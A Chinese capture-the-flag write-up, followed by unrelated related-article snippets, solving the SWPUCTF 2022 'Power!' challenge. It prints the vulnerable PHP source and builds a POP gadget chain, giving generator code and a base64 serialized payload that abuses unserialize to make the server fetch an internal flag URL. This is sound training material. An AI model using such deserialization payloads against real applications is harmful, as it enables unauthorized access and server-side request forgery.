[SWPUCTF 2022 新生赛]Power! 反序列化详细题解

devtools/2024/11/13 10:43:30/

知识点:

PHP反序列化(执行顺序)

构造POP链

代码审计

题目主页:

 输入框可以输入内容,习惯性先查看一下页面的源代码,收集信息

发现源码中有提示参数source   先不急,再看一下其他信息

apache服务器,php版本为7.4.30

url传参 ?source=index.php    回显了index.php的源码

php"><?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?> 

代码审计:

先不看类中的代码,看最后如果get方法存在source参数,就回显源码,如果参数名是image_path,经过正则过滤后会读取文件内容并输出,如果参数名是path_info 执行反序列化操作

提示了flag.php文件,那么url传参 ?image_path=flag.php  查看一下文件

打开图像的链接,得到提示 flag在 127.0.0.1:65500

目的就明确了,传参path_info然后执行反序列化操作

构造POP链:

回过头来查看类中的代码,总共就两个类,所以思路比较简单,从后向前推

最后要执行curl()函数,用于通过 curl 发起 HTTP 请求 结合提示是请求  127.0.0.1:65500


FileViewer类中loadfile()函数会执行curl函数,$file = $this->curl($this->local.$this->path);
local 和 path 属性拼接起来就是路径,暂时不知道文件名,猜测是flag  可以枚举尝试
__call方法会调用loadfile()函数,__call()方法是对不存在的方法或者不可访问的方法进行调用时自动调用
Backdoor类中__destruct()方法$this->a->c();  把a赋值为FileViewer类对象可以触发call方法

php">class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}

__destruct()中还有代码,会执行goodman函数把a中的b属性赋值为$this->superhacker; 

所以可以直接在Backdoor类中把属性a赋值为FileViewer类对象,b赋值为local属性,superhacker赋值为  http://127.0.0.1:65500/
那么pop链就是
FileViewer::loadfile() -> FileViewer::__call()-> Backdoor::__destruct()

php"><?php
class FileViewer{public $black_list;  // 可以不赋值,只要不是flag即可public $local;       // 在Backdoor类中赋值public $path  = "flag";   //文件名
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a = new FileViewer();$this->b = "local";$this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
echo base64_encode(serialize($a));

但是如果这样构造的话,最后序列化的是Backdoor类对象,而代码中反序列化之后代码是$FV->loadfile();
而Backdoor类中没有loadfile()方法,会报错  Call to undefined method Backdoor::loadfile()


需要让反序列化得到是FileViewer类对象,这样才能正常执行命令并且输出结果,但是pop链还不能乱

如果一个类A里面的属性的值是另外一个类B,那么进行反序列化时会先反序列化类B然后再反序列化类A

进行对象的反序列化时,如果一个类(称其为A类)中包含另一个类的对象作为属性(假设这个类为B类),那么反序列化的顺序通常遵循以下原则:

  1. 先反序列化内部对象:首先会尝试反序列化B类对象。这是因为为了完整地恢复A类对象的状态,需要先确保所有它引用的对象已经被正确地创建并初始化。

  2. 然后反序列化外部对象:一旦B类对象成功反序列化,接下来就是反序列化A类对象本身的数据,包括其自身的属性值以及对已经反序列化的B类对象的引用 

那么可以在原有的pop链基础上,再创建一个FileViewer类对象,然后把之前构造的Backdoor类对象赋值给FileViewer类对象中的其中任何一个属性,反序列化后得到的就是FileViewer类对象,就可以执行$FV->loadfile();  让代码不会报错正常运行

至于最后$FV->loadfile();的结果是无所谓的,再创建一个FileViewer类对象的目的就是为了不报错

因为查看文件的操作是在反序列化Backdoor类对象的时候触发执行的,因此只要代码正常运行不报错,在反序列化时就会 echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';  输出查询的文件内容


注意这题只能把Backdoor类对象赋值给local,赋值给black_list 和 path 都会报错
因为black_list 和 path都在正则表达式中出现,需要是字符串类型,反序列化会报错
Uncaught Error: Object of class Backdoor could not be converted to string

php"><?php
class FileViewer{public $black_list;public $local;public $path  = "flag";
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a = new FileViewer();$this->b = "local";$this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
$b = new FileViewer();
$b->local = $a;
echo base64_encode(serialize($b));
//结果是TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NDoiZmxhZyI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

经过测试上面的代码中 $this->superhacker 赋值的格式至少需要为 "http://127.0.0.1:65500/"

也可以直接赋值完整路径 "http://127.0.0.1:65500/flag",这样path就不用赋值了

但是一定要有 "http://127.0.0.1:65500/" 这个格式   即使只去掉 / 然后path赋值为/flag 都是不行的

传参path_info得到

查看页面源代码

点击即可得到flag


http://www.ppmy.cn/devtools/133286.html

相关文章

ESLint 使用教程(一):从零配置 ESLint

前言 在现代前端开发中&#xff0c;代码质量和风格一致性是团队合作和项目维护的重要因素。而 ESLint 作为一款强大的 JavaScript 静态代码分析工具&#xff0c;能够帮助开发者发现和修复代码中的潜在问题。本文将详细介绍 ESLint 的常用规则配置&#xff0c;并结合实际应用场…

ubuntu下aarch64-linux-gnu(交叉编译) gdb/gdbserver(二)

ubuntu下aarch64-linux-gnu(交叉编译) gdb/gdbserver&#xff08;二&#xff09; 本教程作为gdb/gdbserver编译安装教程的一个补充&#xff0c;教会大家如何使用gdb/gdbserver进行远程调试。 如上图所示&#xff0c;我们需要将编译后的gdbserver上传至目标设备&#xff0c;其上…

7 软件维护

软件维护 1、软件维护概念和分类1.1 软件维护概念1.1 软件维护分类完善性维护纠错性维护适应性维护预防性维护 2、软件维护注意事项3、软件维护技术3.1 程序理解3.2 软件再工程3.3 软件逆向工程 1、软件维护概念和分类 1.1 软件维护概念 IEEE/EIA 12207[ISO/IEC2008]中对软件…

LeetCode35:搜索插入位置

原题地址&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算…

泉州市工业和信息化局关于开展排查运维安全管理系统安全漏洞的通知

文章目录 引言附件1: 受影响版本和修复方案附件2:漏洞排查处置情况反馈表引言 接国家网络与信息安全信息通报中心通报,一款由北京圣博润高新技术股份有限公司研发的运维安全管理系统(俗称堡垒机)存在命令执行漏洞(CNVD-C-2024-781563、NVDB-CNVDB-2024768604)。攻击者可…

使用k8s管理应用以及java案例

使用k8s管理应用 制作镜像控制器管理podpod数据持久化创建service四层代理创建ingress规则对外发布应用日志与监控应用案例(因无开发代码&#xff0c;最终跑不起来)编写java代码编写 Dockerfile构建 Docker 镜像在 Kubernetes 上运行应用程序创建 Kubernetes 服务service创建in…

Android 如何实现不编译指定的apk,不加载系统应用

1.把Android.mk改为Android.mk_bak 2.删除当前Android.mk内容变为空mk 或者注释掉里面所有内容 3.以上方法存在些许问题&#xff0c;因为只是把当前的mk屏蔽了&#xff0c;但其他路径的类似应用也会编译进去。 在内置应用mk下添加需要覆盖的应用&#xff0c;这个比较全面&…

Oracle 23AI创建示例库

一、示例库介绍 多年来&#xff0c;Oracle 一直使用简单的数据库模式 SCOTT 及其两个突出的表 EMP 和 DEPT&#xff0c;用于文档和培训中的各种示例。但不少小伙伴并不知道如何创建这些示例数据&#xff0c;其实Oracle官方上就有提供对应的方法&#xff0c;本文就带领大家完成…